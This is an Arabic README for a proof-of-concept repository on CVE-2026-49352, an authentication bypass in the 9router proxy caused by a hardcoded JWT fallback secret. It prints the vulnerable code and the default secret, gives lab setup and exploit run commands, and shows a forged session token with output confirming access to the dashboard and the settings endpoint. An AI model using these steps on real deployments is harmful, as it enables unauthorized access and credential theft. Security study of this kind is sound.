
إثبات قابلية الاستغلال (PoC) لـ CVE-2026-49352 (تجاوز المصادقة عبر كلمة سر JWT المضمنة)
CVE-2026-49352 هي ثغرة أمنية في 9router، وهو وكيل مستضاف ذاتيًا مبني على Node.js/Next.js لأدوات البرمجة بالذكاء الاصطناعي. يتم توقيع JWT لجلسة لوحة التحكم باستخدام سر مستمد من متغير البيئة JWT_SECRET، ولكن إذا تُرك هذا المتغير غير معين، فإن كلاً من معالج تسجيل الدخول وواقي الطلبات يقعان إلى نفس النص الثابت المضمن:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
نظرًا لأن هذه السلسلة ملتزمة بالمستودع العام، فهي ليست سرًا على الإطلاق. يمكن لأي مهاجم توقيع رمز مميز بها ومعاملته كمستخدم لوحة تحكم موثوق.
| النطاق المتأثر | تم الإصلاح في |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
يتم تعريف السر الاحتياطي بشكل مماثل في ملفين مستقلين.
src/app/api/auth/login/route.js — يصدر رمز الجلسة عند تسجيل الدخول:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — يتحقق من الرمز في كل طلب محمي:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
hasValidToken() الناجح هو الشرط الوحيد الذي يتم التحقق منه قبل منح الوصول إلى /dashboard ونقاط النهاية المدرجة في ALWAYS_PROTECTED (بما في ذلك /api/settings/database). لا يوجد بحث عن سجل جلسة ولا التحقق من مصدر الرمز المميز — يتم التعامل مع التوقيع الصحيح كدليل على الهوية.
تم تأكيد تجاوز الثغرة وإعادة إنتاجه ضد بناء من قاعدة الأكواد المتضررة. مع ترك JWT_SECRET غير معين:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
تظهر الثغرة فقط عندما لم يتم تعيين JWT_SECRET مطلقًا من قبل المشغل — وهو الوضع الافتراضي لمعظم عمليات النشر السريعة / docker-run التي تتخطى خطوة تكوين البيئة. عمليات النشر التي تحدد JWT_SECRET بشكل صريح بقيمة عشوائية لا تتأثر، حيث يتم اشتقاق SECRET مرة واحدة عند تحميل الوحدة ولا يقع أبدًا.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| الأداة | الإصدار | ملاحظات |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose مطلوب |
| Go | ≥ 1.22 | لتشغيل أداة الاستغلال محليًا |
اعتماد Go خارجي: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
انتظر حتى يبلغ التطبيق عن استعداده، ثم تحقق:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
أضف -probe لطلب /api/settings/database أيضًا مع الكوكي المزور:
go run exploit.go -target http://localhost:20128 -probe
الأعلام المتاحة:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| المورد | الرابط |
|---|---|
| التنبيه الأمني | GHSA-jphh-m39h-6gwx |
| المستودع المعرض | decolua/9router |
| التحليل الكامل — مقالة المدونة | return-zero.dev/posts/cve-2026-49352 |
هذا المستودع مخصص للأغراض التعليمية وتحليل قابلية الاستغلال محليًا فقط. تم إجراء جميع الاختبارات ضد بيئة حاوية ذاتية الاستضافة. لا تقم بتشغيل هذا الدليل الإثباتي (PoC) ضد أنظمة لا تملكها أو لديك إذن كتابي صريح لاختبارها.
| العلم | الافتراضي | الوصف |
|---|
-target | http://localhost:20128 | عنوان URL الأساسي لمثيل 9router |
-secret | 9router-default-secret-change-me | السر الاحتياطي لـ JWT للتزوير به |
-ttl | 36 * 365 * 24h | نافذة صلاحية الرمز المزور |
-probe | false | طلب /api/settings/database أيضًا |